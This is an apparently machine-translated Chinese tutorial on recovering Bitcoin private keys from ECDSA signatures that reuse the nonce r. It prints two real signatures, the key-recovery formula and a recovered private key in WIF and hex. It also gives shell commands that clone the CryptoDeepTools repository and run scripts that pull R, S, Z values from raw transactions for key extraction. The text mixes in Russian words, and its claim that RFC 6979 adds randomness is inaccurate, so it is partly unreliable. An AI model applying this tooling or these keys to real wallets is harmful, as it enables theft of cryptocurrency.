在本文中，我們將討論從比特幣區塊鏈中提取簽名值 ，但首先，讓我們記住由Niels Schneider （又名 tcatm ）ECDSA R, S, Z 發現的區塊鏈交易中的第一個嚴重漏洞 Nils Schneider
比特幣開發商和 “BitcoinWatch” 和 “BitcoinCharts”的所有者。
文檔
[PDF]：私鑰恢復組合攻擊：在存在不良 RNG 事件的情況下流行的比特幣密鑰管理、錢包和冷存儲解決方案的極端脆弱性
2012 年 12 月 25 日， Nils 發現了一些比特幣區塊鏈交易的潛在弱點。
看看這個交易：
transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff該交易有兩個輸入和一個輸出。
如果仔細觀察這兩個輸入腳本，您會注意到在開頭和結尾有相當多的相同字節。
末尾的那些字節是硬幣所花地址的十六進制編碼公鑰，所以這沒有錯。
但是，腳本的前半部分是實際簽名 (r, s)：
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab正如你所看到的，
r1它是一樣的r2。 這是 一個巨大的問題。
我們可以將 私鑰還原 為這個公鑰：
04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
為此，我們可以使用學校代數中的一個簡單公式😉
private key = (z1*s2 - z2*s1)/(r*(s1-s2))我們只需要找到 z1 並 z2
這些是 хэши 需要簽名的輸出。讓我們獲取輸出交易並對它們進行計數（由 計算 OP_CHECKSIG）：
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc接下來，讓我們將所有這些值打包到一個 Python腳本中： vulnerabilityR.py
p 只是一個數量級 ，是比特幣使用的G曲線參數 。secp256k1
讓我們為計算創建一個字段：
K = GF(p)K((z1*s2 - z2*s1)/(r*(s1-s2)))讓我們運行腳本： python3 vulnerabilityR.py
接下來，我們的腳本： vulnerabilityR.py 將計算 該字段中的私鑰 ：
ADDR: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
找到私鑰！
當然，比特幣的開發者通過引入確定性函數修復了這個漏洞。
此功能
RFC 6979在比特幣簽名中引入了隨機性元素，從而增強了交易的加密強度。ECDSA
文檔 [PDF]：RFC 6979：數字簽名算法 (DSA) 和橢圓曲線數字簽名算法 (ECDSA) 的確定性使用
正如我們在實踐中所知，比特幣區塊鏈中存在完全不同的易受攻擊的交易。
我們之前發布過
статью： “比特幣區塊鏈上 ECDSA 中的一次弱交易，在 Lattice Attack 的幫助下，我們收到了 BTC 硬幣的私鑰”
現在讓我們從 “RawTX.json”文件 （我們在 01BlockchainGoogleDrive中獲得 ）中獲取公鑰 Bitcoin ECDSA 和價值 R, S, Z
- 為此，請使用 Google Colab 的終端 [ TerminalGoogleColab]
- 早些時候我錄製了一個視頻： “Google Colab 中的 TERMINAL 為在 GITHUB 中工作創造了所有便利”
- 讓我們通過 “CryptoDeepTools”存儲庫 進行詳細的密碼分析，並仔細研究 Bash 腳本的工作原理： getsign.sh
- 團隊：
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/02BreakECDSAcryptography/
sudo apt install python2-minimal
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
pip2 install -r requirements.txt
chmod +x getsign.sh
./getsign.sh
因此，讓我們詳細了解一下 Bash 腳本的全部工作： getsign.sh
cat RawTX.json > index.json將文件複製 RawTX.json 到新文件中 index.json
for run in {1..4}; do我們打開它是 ЦИКЛ 因為 我們在文件中取了 index.json 4 行{1..4}
export LINE=1 ; sed -n "${LINE}p" index.json > index2.json該實用程序 export 採用 第 1 行 並將其保存在新文件中 index2.json
sed -i '1d' index.json該實用程序 從文件中 sed 刪除 第 1 行 index.json
python3 fileopen.py我們運行 Python 腳本 fileopen.py 並成功創建了一個新的 Bash 腳本： signscript.sh
chmod +x signscript.sh
./signscript.sh我們獲得了Bash 腳本的權限 ：signscript.sh
結果， 啟動了breakECDSA.py Python 腳本 ，最終從中提取了 比特幣的價值 和公鑰。
RawTXR, S, Z所有這些都保存到一個文件中：
"signatures.json"
rm signscript.sh
rm fileopen.py該實用程序 rm 刪除了 Python 腳本 fileopen.py 並成功創建了一個新的 Bash 腳本： signscript.sh
done結果， 4個週期後一切結束
rm index.json循環結束，實用程序 rm 刪除 index.json
Bash 腳本： getsign.sh Завершает работу!
現在我們了解到：
Bitcoin從中獲取公鑰ECDSAR, S, Z從中獲取價值ECDSA- 申請它
криптоанализа
源代碼： https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography
電報： https: //t.me/cryptodeeptech
視頻素材： https: //youtu.be/BYd-cuFRZmM